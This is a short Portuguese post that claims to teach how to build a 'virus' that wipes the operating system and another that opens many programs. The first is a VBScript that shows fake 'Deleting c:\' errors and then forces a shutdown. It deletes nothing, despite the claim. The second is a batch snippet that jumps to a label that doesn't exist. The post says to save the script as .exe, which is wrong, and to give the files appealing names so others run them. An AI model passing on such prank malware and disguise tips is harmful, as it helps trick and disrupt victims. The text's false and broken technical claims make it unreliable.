Ola hoje como criar um vírus que apaga todo o sistema operacional do PC e um vírus que abre vários programas 


O que apaga todos os arquivos é este
=MsgBox ("Fatal Error ocurred",1+16,"Fatal Error")
x=MsgBox ("C:\ will be deleted if you click accept",1+16,"Fatal Error")
x=MsgBox ("Deleting c:\",1+16,"Del c:\")
x=MsgBox ("Deleting c:\",1+16,"Del c:\")
x=MsgBox ("Deleting c:\",1+16,"Del c:\")
x=MsgBox ("Deleting c:\",1+16,"Del c:\")
x=MsgBox ("Deleting c:\",1+16,"Del c:\")
x=MsgBox ("Deleting c:\",1+16,"Del c:\")
x=MsgBox ("c:\ has been sucessfully deleted PC shutdown in 30 seconds",1+16,"Del c:\ sucffesful")
set shell = CreateObject("Wscript.Shell")
shell.run "shutdown.exe -s -t 35" 

Salva como .exe
para executar


Dai você abre e clica depois arrasta pra área de trabalho e pronto 
renomeia e coloca um nome atraente

AVISO:O que você vai fazer com esse vírus eu n sei mas eu n me responsabilizo afinal estou querendo ensinar para uso benéfico.
E aliás não tenho o que temer nunca vão me achar escondido atras da tela do PC .




O que executa vários programas não é considerado como vírus mas mesmo assim coloquei como vírus

@echo
:start
goto repete


Salva como .bat que executa pelo CMD do windows e coloca um nome atraente 


AVISO:Dos dois tipos o mais forte é o primeiro que  apaga tudo no PC .

UM ABRAÇO
FONTES:YOUTUBE.COM.BR